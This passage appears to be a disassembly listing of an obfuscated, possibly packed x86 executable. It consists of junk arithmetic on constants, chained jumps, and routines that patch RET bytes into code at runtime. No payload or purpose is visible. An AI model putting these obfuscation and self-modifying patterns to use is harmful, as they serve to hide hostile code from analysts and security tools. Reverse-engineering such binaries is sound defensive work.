edi, 89CA0FCCh xor edi, 0AB4DE264h and edi, 0B66BA33Ah add edi, 0DDFFCFDEh jmp loc_44492E ; --------------------------------------------------------------------------- loc_440C2A: ; CODE XREF: y22d6.y.:0043A242j ; y22d6.y.:00442A2Bj xor edx, 1D920A01h push eax push 66B08FB6h pop eax sub eax, 0E5FB8C54h add eax, 6C28C66Dh sub eax, 81A19C60h jmp loc_4443DE ; =============== S U B R O U T I N E ======================================= sub_440C4E proc near ; CODE XREF: y22d6.y.:0043CBA9j ; sub_43CFF2+Ap xchg esi, [esp+0] pop esi mov [ebp-14h], eax loc_440C55: ; CODE XREF: sub_445F98+7j mov eax, [ebp-14h] call sub_43BEF7 loc_440C5D: ; CODE XREF: y22d6.y.:00444F15j jmp nullsub_41 sub_440C4E endp ; sp-analysis failed ; --------------------------------------------------------------------------- xor esi, 0FD271961h jmp sub_4481EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_440C6D: ; CODE XREF: sub_44B17B-810j jo loc_43978D loc_440C73: ; CODE XREF: sub_44B17B:loc_44A95Cj sub edx, 35CBD4E6h add edx, 0B3F5ADA5h mov [edx], eax pop edx jmp loc_4400D0 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- call sub_43CCD2 ; START OF FUNCTION CHUNK FOR sub_44A0A7 loc_440C8C: ; CODE XREF: sub_44A0A7+FD1j jmp loc_4437A8 ; END OF FUNCTION CHUNK FOR sub_44A0A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_440C91: ; CODE XREF: sub_4432B8+2312j jle sub_4408F2 jmp loc_43B224 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_440C9C: ; CODE XREF: y22d6.y.:004493B5j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_43B224 jmp loc_43AA73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4483BF loc_440CB0: ; CODE XREF: sub_4483BF:loc_440FB9j mov edi, ecx xchg edi, [esp+4+var_4] push edi mov edi, ecx xchg edi, [esp+8+var_8] push 0E2963718h loc_440CC0: ; CODE XREF: y22d6.y.:loc_437E84j pop ecx xor ecx, 5165271Ch jmp loc_44352B ; END OF FUNCTION CHUNK FOR sub_4483BF ; --------------------------------------------------------------------------- xor esi, edi jmp loc_44DB7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E7BF loc_440CD3: ; CODE XREF: sub_43E7BF:loc_444929j mov byte ptr [eax], 0C3h jmp loc_447734 ; END OF FUNCTION CHUNK FOR sub_43E7BF ; =============== S U B R O U T I N E ======================================= sub_440CDB proc near ; CODE XREF: sub_40158F+183p ; sub_40158F+186p ... call sub_440CE6 jmp ds:off_41E03C sub_440CDB endp ; =============== S U B R O U T I N E ======================================= sub_440CE6 proc near ; CODE XREF: sub_440CDBp ; sub_441619:loc_447EAAj ... var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043BC5F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00447EC6 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0044B997 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044BBD7 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0044C53D SIZE 00000005 BYTES xchg ecx, [esp+0] mov edx, ecx pop ecx jmp loc_44C53D sub_440CE6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- cdq jmp loc_43C287 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F9E0 loc_440CF7: ; CODE XREF: sub_43F9E0+26B1j mov eax, edx xchg eax, [esp+4+var_4] push offset loc_448BCD jmp loc_44A79F ; END OF FUNCTION CHUNK FOR sub_43F9E0 ; --------------------------------------------------------------------------- jnz loc_44131B jmp sub_43FC02 ; =============== S U B R O U T I N E ======================================= sub_440D11 proc near ; CODE XREF: y22d6.y.:0043F77Fj ; sub_444871+D6Dp ; FUNCTION CHUNK AT 004435D1 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi rol eax, 6 xor eax, 361E0FAEh rol eax, 19h mov ds:dword_443028, eax jmp loc_4435D1 sub_440D11 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, 510AEA73h call sub_43CA1A mov ds:dword_41E108, eax lea eax, nullsub_281 mov byte ptr [eax], 0C3h jmp nullsub_281 ; --------------------------------------------------------------------------- loc_440D4A: ; DATA XREF: sub_448EB6-A09Ao xchg ebp, [esp] push ecx push 4CCAE428h pop ecx or ecx, 76447BD9h and ecx, 652D8493h test ecx, 2 jmp loc_44516C ; =============== S U B R O U T I N E ======================================= sub_440D6B proc near ; CODE XREF: sub_43C242+1BDp ; y22d6.y.:0044C2D4j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004375C7 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx add ebx, 95BD338Fh loc_440D75: ; CODE XREF: sub_44B17B:loc_442058j xchg ebx, [esp-4+arg_0] jmp loc_4375C7 sub_440D6B endp ; sp-analysis failed ; --------------------------------------------------------------------------- push 0B413F36Fh pop edx or edx, 0A9094920h add edx, 4328E1FDh mov edx, [edx] or edx, edx jnz loc_438C42 jmp loc_444800 ; =============== S U B R O U T I N E ======================================= sub_440D9E proc near ; CODE XREF: y22d6.y.:0043A727j ; sub_43F750+109Bp ; FUNCTION CHUNK AT 0044134E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00447CF0 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx xor eax, 47A6B394h add eax, ebp jmp loc_44134E sub_440D9E endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_323. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4422AA loc_440DB0: ; CODE XREF: sub_4422AA+Bj jmp loc_439521 ; END OF FUNCTION CHUNK FOR sub_4422AA ; --------------------------------------------------------------------------- loc_440DB5: ; CODE XREF: y22d6.y.:loc_43A66Ej shr edx, 1Ah mov ecx, 4F5D438Fh jmp loc_44202E ; --------------------------------------------------------------------------- add edi, eax ror edi, 1Ch jmp sub_43D9D2 ; =============== S U B R O U T I N E ======================================= sub_440DCC proc near ; CODE XREF: y22d6.y.:0043C2D4p ; y22d6.y.:0044A191j xchg ebx, [esp+0] pop ebx add edi, 8BD44999h xor eax, edi sub_440DCC endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_440DD8: ; CODE XREF: sub_448EB6:loc_44B453j pop edi sub eax, 9BD7C9B8h jmp loc_44D57F ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448C77 loc_440DE4: ; CODE XREF: sub_448C77:loc_438A2Dj push esi push 0BBBB11FEh pop esi and esi, 3696E8ABh jmp loc_4473E0 ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- loc_440DF6: ; CODE XREF: y22d6.y.:004462D3j push 3841370Eh pop edx rol edx, 0Eh cmp edx, 7680D261h jmp loc_43E0B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D64C loc_440E0A: ; CODE XREF: sub_44D64C:loc_44D126j push 0AE12A5BAh pop eax or eax, ds:4000E8h and eax, 530D399Fh add eax, 0FDF2D662h jmp loc_445DA2 ; END OF FUNCTION CHUNK FOR sub_44D64C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFE2 loc_440E27: ; CODE XREF: sub_43FFE2+39D5j sub edx, eax jmp loc_43F7D9 ; END OF FUNCTION CHUNK FOR sub_43FFE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F224 loc_440E2E: ; CODE XREF: sub_43F224:loc_43F4F7j jge loc_44160E loc_440E34: ; CODE XREF: y22d6.y.:00449E10j jmp sub_44A5E5 ; END OF FUNCTION CHUNK FOR sub_43F224 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4389FD loc_440E39: ; CODE XREF: sub_4389FD+FC4Fj jmp nullsub_374 ; END OF FUNCTION CHUNK FOR sub_4389FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4425E0 loc_440E3E: ; CODE XREF: sub_4425E0:loc_43AC06j ; y22d6.y.:loc_4497E8j jmp nullsub_47 ; END OF FUNCTION CHUNK FOR sub_4425E0 ; --------------------------------------------------------------------------- loc_440E43: ; CODE XREF: y22d6.y.:00439F42j jmp loc_44C0EA ; --------------------------------------------------------------------------- sbb eax, 54C75FF2h mov edx, [edi] jmp loc_441605 ; =============== S U B R O U T I N E ======================================= sub_440E55 proc near ; CODE XREF: y22d6.y.:00444E57j ; sub_44DA4B-6E4p arg_0 = dword ptr 4 xchg edi, [esp+0] pop edi xchg edx, [esp-4+arg_0] jmp sub_43760A sub_440E55 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_440E61 proc near ; DATA XREF: sub_442E1F-688Do inc dword ptr [ebp-8] sub_440E61 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4385ED loc_440E64: ; CODE XREF: sub_4385ED:loc_44AF7Ej ; sub_442E1F:loc_44C753j mov eax, [ebp-8] pop ecx pop ecx pop ebp jmp nullsub_184 ; END OF FUNCTION CHUNK FOR sub_4385ED ; --------------------------------------------------------------------------- push edx call sub_43D246 loc_440E75: ; CODE XREF: y22d6.y.:00437425j xor ebx, edi ; =============== S U B R O U T I N E ======================================= sub_440E77 proc near ; CODE XREF: sub_440543-2694p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00449C67 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx xchg eax, [esp-4+arg_0] jmp loc_449C67 sub_440E77 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0ADh dword_440E84 dd 0 ; DATA XREF: sub_4499F4:loc_4442A1r dword_440E88 dd 94399457h, 0B8A851C9h, 8D1B91h ; DATA XREF: y22d6.y.:loc_43C07Eo ; sub_4432B8+178o ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4496E3 loc_440E94: ; CODE XREF: sub_4496E3+4247j jmp loc_44980A ; END OF FUNCTION CHUNK FOR sub_4496E3 ; --------------------------------------------------------------------------- loc_440E99: ; CODE XREF: y22d6.y.:0043B2F3j jmp loc_44021D ; --------------------------------------------------------------------------- jns loc_445EB8 push 3C4C05B2h pop edx or edx, 7CAC5055h jmp loc_438FB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416F3 loc_440EB5: ; CODE XREF: sub_4416F3-74CDj jnz loc_44B377 jmp loc_43FF03 ; END OF FUNCTION CHUNK FOR sub_4416F3 ; --------------------------------------------------------------------------- locret_440EC0: ; CODE XREF: y22d6.y.:0043C079j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_440EC1: ; CODE XREF: sub_4450FD:loc_44C0B2j xor eax, 1A85F2EDh jmp loc_43E7FE ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- loc_440ECC: ; CODE XREF: y22d6.y.:00443B50j push 6A4B6412h xchg edi, [esp] mov esi, edi pop edi rol esi, 0Dh xor esi, 76D55769h add esi, 0CD32EF9Ah sub esi, 0CE7105h jmp loc_442D45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E6C0 loc_440EF1: ; CODE XREF: sub_43E6C0+Aj pop eax and eax, 2EC4A393h rol eax, 1Ah add eax, 0BFAAA153h loc_440F01: ; CODE XREF: y22d6.y.:loc_439FE6j xchg eax, [esp+0] jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_43E6C0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_246. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_440F0A: ; CODE XREF: y22d6.y.:loc_4485EFj mov eax, [esp] push edx call sub_44CDB7 mov eax, 0EA34346Fh call sub_43CA1A push ebx push 2C608B2Ah pop ebx jmp loc_43A2DC ; --------------------------------------------------------------------------- loc_440F29: ; CODE XREF: y22d6.y.:004493D3j ja loc_437DE9 ; =============== S U B R O U T I N E ======================================= sub_440F2F proc near ; CODE XREF: sub_44B3F8:loc_44B404p xchg edi, [esp+0] pop edi mov eax, [ebp-0Ch] mov esp, ebp pop ebp retn sub_440F2F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C712 loc_440F3A: ; CODE XREF: sub_43C712+104F6j jmp loc_437C5D ; END OF FUNCTION CHUNK FOR sub_43C712 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EFB1 loc_440F3F: ; CODE XREF: sub_43EFB1+Cj ; sub_442FA7+11j inc dword ptr [ebp-18h] jmp loc_43AB23 ; END OF FUNCTION CHUNK FOR sub_43EFB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416F3 loc_440F47: ; CODE XREF: sub_4416F3:loc_43C155j jz loc_448D76 jmp loc_447534 ; END OF FUNCTION CHUNK FOR sub_4416F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_440F52: ; CODE XREF: sub_43B09B+8F86j jl loc_4436B0 ; END OF FUNCTION CHUNK FOR sub_43B09B ; START OF FUNCTION CHUNK FOR sub_44B17B loc_440F58: ; CODE XREF: sub_442856:loc_438118j ; sub_43B09B:loc_449F4Bj ... jmp loc_44B260 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_440F5D: ; CODE XREF: sub_44B17B-BDDFj ; sub_43B09B+12F40j pop ecx xchg eax, [esp+0] mov ebp, eax pop eax retn ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4394F3 loc_440F65: ; CODE XREF: sub_4394F3+3FEFj jmp loc_439575 ; END OF FUNCTION CHUNK FOR sub_4394F3 ; =============== S U B R O U T I N E ======================================= sub_440F6A proc near ; CODE XREF: sub_4432B8-2BC2p ; y22d6.y.:00449E8Dj ... ; FUNCTION CHUNK AT 0044C88F SIZE 00000014 BYTES call sub_4453AA loc_440F6F: ; CODE XREF: sub_4420B5+Aj jmp loc_44C88F sub_440F6A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_440F74: ; CODE XREF: y22d6.y.:0044126Cj jmp loc_4380F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4399C6 loc_440F79: ; CODE XREF: sub_4399C6-21D1j jmp nullsub_348 ; END OF FUNCTION CHUNK FOR sub_4399C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_440F7E: ; CODE XREF: sub_448EB6:loc_43E4D9j add edi, 0DFFF048Bh xor edi, 0D5E6A8DAh test edi, 40h jmp loc_437BD4 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_440F95: ; CODE XREF: y22d6.y.:0043DF81j shr edx, 16h adc eax, edi loc_440F9A: ; CODE XREF: y22d6.y.:loc_4409D0j lea eax, [ebp-14h] call sub_43FDBB locret_440FA2: ; CODE XREF: y22d6.y.:00441F01j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439F5A loc_440FA3: ; CODE XREF: sub_439F5A+B51j jmp loc_445898 ; END OF FUNCTION CHUNK FOR sub_439F5A ; --------------------------------------------------------------------------- loc_440FA8: ; CODE XREF: y22d6.y.:004380A7j jmp locret_439CC4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43910C loc_440FAD: ; CODE XREF: sub_43910C+10j jz loc_4488FD jmp loc_438CE0 ; END OF FUNCTION CHUNK FOR sub_43910C ; --------------------------------------------------------------------------- locret_440FB8: ; CODE XREF: y22d6.y.:loc_43DF4Cj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4483BF loc_440FB9: ; CODE XREF: sub_4483BF+4j jmp loc_440CB0 ; END OF FUNCTION CHUNK FOR sub_4483BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4410E0 loc_440FBE: ; CODE XREF: sub_4410E0-2BAEj rol esi, 17h loc_440FC1: ; CODE XREF: sub_4410E0:loc_4432A6j call sub_43B566 loc_440FC6: ; CODE XREF: sub_443B1F+1Bj jmp loc_448F0C ; END OF FUNCTION CHUNK FOR sub_4410E0 ; --------------------------------------------------------------------------- loc_440FCB: ; CODE XREF: y22d6.y.:00440973j jmp loc_43C482 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_440FD0: ; CODE XREF: sub_439051-1B52j jmp loc_4402CA ; END OF FUNCTION CHUNK FOR sub_439051 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_321. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_440FD6: ; CODE XREF: sub_43D20E+10A20j lea eax, [ebp-125h] push eax call sub_44C171 mov [ebp-4], eax jmp loc_44C161 ; --------------------------------------------------------------------------- loc_440FEA: ; CODE XREF: sub_43D20E:loc_43BA54j lea eax, [ebp-125h] jmp loc_43EB0F ; END OF FUNCTION CHUNK FOR sub_43D20E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_440FF5: ; CODE XREF: sub_44AEDA:loc_43CBCEj jz loc_43FCEF jmp loc_438E93 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; =============== S U B R O U T I N E ======================================= sub_441000 proc near ; CODE XREF: sub_4432B8:loc_449FB7j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004378F3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004381C5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043848C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BB6B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043EE54 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004421B6 SIZE 0000001C BYTES push ebx mov ebx, ecx xchg ebx, [esp+4+var_4] push 6B027D10h jmp loc_4381C5 sub_441000 endp ; --------------------------------------------------------------------------- dd 3036EBBBh, 5D8A0F5Bh, 0E9000098h, 21Eh ; =============== S U B R O U T I N E ======================================= sub_441020 proc near ; CODE XREF: sub_4081DD+177p ; sub_408395+1Cp ... call sub_441030 jmp ds:off_41E080 sub_441020 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E2B6 loc_44102B: ; CODE XREF: sub_44E2B6+16j jmp loc_43B668 ; END OF FUNCTION CHUNK FOR sub_44E2B6 ; =============== S U B R O U T I N E ======================================= sub_441030 proc near ; CODE XREF: y22d6.y.:loc_4370E7j ; sub_441020p ... var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043918C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BCE5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043C02D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0043CE13 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0043E8EA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00440188 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00441BA5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443B92 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00443DFA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004459BE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447FD8 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0044B69D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044D6B2 SIZE 00000005 BYTES pop edx jz loc_447FD8 mov eax, [esp-4+arg_0] push edx push esi push 86FB828h jmp loc_4459BE sub_441030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444581 loc_441046: ; CODE XREF: sub_444581:loc_441B00j ; sub_444581+51F5j push edi mov edi, eax xchg edi, [esp+8+var_8] lea eax, dword_43F7E0 push eax push ebx mov ebx, eax xchg ebx, [esp+10h+var_10] jmp loc_43F254 ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- loc_44105E: ; CODE XREF: y22d6.y.:loc_44BC6Bj mov esi, edi xchg esi, [esp] loc_441063: ; CODE XREF: y22d6.y.:00441CB3j push 8CBEF5C2h pop edi jmp loc_440019 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_44106E: ; CODE XREF: sub_44B1D2-13C44j ; sub_44B1D2:loc_446F66j push eax mov eax, edi xchg eax, [esp+0] call sub_448A6F loc_441079: ; CODE XREF: sub_44DB4F:loc_444B98j mov eax, [eax] mov al, [eax] jnb loc_449554 sub al, 99h jmp loc_43C21A ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4477E6 loc_44108A: ; CODE XREF: sub_4477E6:loc_44B658j pop edx rol edx, 5 add edx, 0D4F0621Ch add edx, ebp add edx, 1A035856h mov edx, [edx] imul byte ptr [edx] loc_4410A0: ; CODE XREF: y22d6.y.:loc_440AE9j jmp loc_438BAF ; END OF FUNCTION CHUNK FOR sub_4477E6 ; --------------------------------------------------------------------------- loc_4410A5: ; CODE XREF: y22d6.y.:0044A1A7j popf loc_4410A6: ; CODE XREF: y22d6.y.:loc_44A196j or eax, 0E15A0545h test eax, 100h jmp loc_44D7F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441A2B loc_4410B7: ; CODE XREF: sub_441A2B+Aj push edx loc_4410B8: ; CODE XREF: y22d6.y.:loc_441DE2j call sub_43EF0B mov eax, 637A7446h call sub_43CA1A push esi push 100260FFh pop esi sub esi, ds:4000E1h jmp loc_437514 ; END OF FUNCTION CHUNK FOR sub_441A2B ; --------------------------------------------------------------------------- mov esi, edi jmp sub_43832B ; =============== S U B R O U T I N E ======================================= sub_4410E0 proc near ; DATA XREF: sub_439F5A:loc_43A80Co ; FUNCTION CHUNK AT 0043AB90 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CAE2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D7DA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043E525 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00440FBE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004432A6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00444A5B SIZE 00000012 BYTES push ebx push 0DF3966F7h pop ebx xor ebx, 0B82F7615h add ebx, 0F1261ECFh jmp loc_43CAE2 sub_4410E0 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_152. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A359 loc_4410F9: ; CODE XREF: sub_44A359-C050j jmp nullsub_229 ; END OF FUNCTION CHUNK FOR sub_44A359 ; --------------------------------------------------------------------------- loc_4410FE: ; CODE XREF: y22d6.y.:0044BC1Dj push edx call sub_4397E6 mov eax, 0CAAB96A5h call sub_43F7FF mov ds:off_41E020, eax lea eax, sub_438FBB mov byte ptr [eax], 0C3h jmp sub_438FBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_441122: ; CODE XREF: sub_448EB6:loc_439684j pop ecx mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_439B4D jmp loc_442707 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- mov esi, edi jmp sub_43CCD2 ; --------------------------------------------------------------------------- loc_44113A: ; CODE XREF: y22d6.y.:loc_4447D8j ; y22d6.y.:004447EBj sub ebx, ds:4000E0h or ebx, 12ADF5F1h rol ebx, 0Fh add ebx, 1455186h xchg ebx, [esp] jmp sub_43CA1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A53A loc_441157: ; CODE XREF: sub_44A53A+4j jbe loc_43F5CE jmp loc_43DE75 ; END OF FUNCTION CHUNK FOR sub_44A53A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4387EA loc_441162: ; CODE XREF: sub_4387EA:loc_4398DDj jz loc_449122 jmp loc_449068 ; END OF FUNCTION CHUNK FOR sub_4387EA ; --------------------------------------------------------------------------- loc_44116D: ; CODE XREF: y22d6.y.:loc_44DE9Ej pop edx xor edx, 20541122h add edx, 0D28A5AE8h ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44117A: ; CODE XREF: sub_4432B8:loc_44DCEAj add edx, ebp add edx, 3F28F8ECh jmp loc_44B96B ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_441187: ; CODE XREF: y22d6.y.:0044BF27j ; y22d6.y.:0044BF36j push offset sub_443915 jmp locret_443618 ; =============== S U B R O U T I N E ======================================= sub_441191 proc near ; CODE XREF: y22d6.y.:0043FF4Cp ; y22d6.y.:00445E7Cj ; FUNCTION CHUNK AT 0043B49F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00440745 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443A39 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004461AB SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0044C4C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D3EA SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push 0E759ED1Dh pop ecx rol ecx, 18h or ecx, 0FED37FBFh jmp loc_44C4C8 sub_441191 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439A78 loc_4411A9: ; CODE XREF: sub_439A78+5j push 44E73ACBh pop eax rol eax, 15h test eax, 20h jmp loc_448E0E ; END OF FUNCTION CHUNK FOR sub_439A78 ; =============== S U B R O U T I N E ======================================= sub_4411BD proc near ; CODE XREF: sub_43FBC3+16D0p ; y22d6.y.:00446595j ; FUNCTION CHUNK AT 00439423 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439ECE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00444654 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push 0CC679D13h pop ecx jmp loc_444654 sub_4411BD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4411CC: ; CODE XREF: sub_4432B8:loc_443500j xor eax, eax push offset sub_445286 jmp loc_44CE98 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_4411D8: ; CODE XREF: sub_44B17B:loc_447136j and edx, 1C06D761h sub edx, 555A98BCh cmp edx, 30994571h jmp loc_43EDF6 ; END OF FUNCTION CHUNK FOR sub_44B17B ; =============== S U B R O U T I N E ======================================= sub_4411EF proc near ; CODE XREF: y22d6.y.:0043FB9Ej ; y22d6.y.:0044C5E7p xchg esi, [esp+0] pop esi mov byte ptr [eax], 0C3h jmp nullsub_343 sub_4411EF endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4411FB: ; CODE XREF: y22d6.y.:0044721Dj mov eax, [esp] push edx call sub_44E5C7 jmp loc_44BFE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F501 loc_441209: ; CODE XREF: sub_43F501+1j mov ebp, esp add esp, 0FFFFFFECh cmp ds:byte_442A98, 0 jnz loc_439F7A lea edx, [ebp-14h] mov eax, offset dword_442A9C call sub_44D088 jmp loc_439837 ; END OF FUNCTION CHUNK FOR sub_43F501 ; =============== S U B R O U T I N E ======================================= sub_44122D proc near ; CODE XREF: y22d6.y.:0043A54Fp ; y22d6.y.:00449453j xchg esi, [esp+0] pop esi cmp al, 0A4h jz loc_442058 jmp loc_445CFB sub_44122D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_44123E proc near ; CODE XREF: sub_43E037+F231p ; FUNCTION CHUNK AT 0043929F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00439F89 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004403FF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004407F5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004429B9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044531C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004465A5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004484C6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00448BB7 SIZE 00000016 BYTES xchg ecx, [esp+0] pop ecx imul byte ptr [edx] cmp al, 0A4h jz loc_437708 jmp loc_439F89 sub_44123E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_441251: ; CODE XREF: y22d6.y.:0043A81Cj jno loc_44E1B1 push 0E5A3FA28h loc_44125C: ; CODE XREF: y22d6.y.:loc_44C5B4j push eax lea eax, loc_44DD70 push eax push eax mov edx, eax call sub_44D088 jmp loc_440F74 ; --------------------------------------------------------------------------- loc_441271: ; DATA XREF: sub_448EB6+19F4o xor eax, 0ACB32B1Ah add eax, ebp add eax, 6804D544h mov eax, [eax] popf mov al, [eax] jmp loc_43A877 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_327. PRESS KEYPAD "+" TO EXPAND] ; 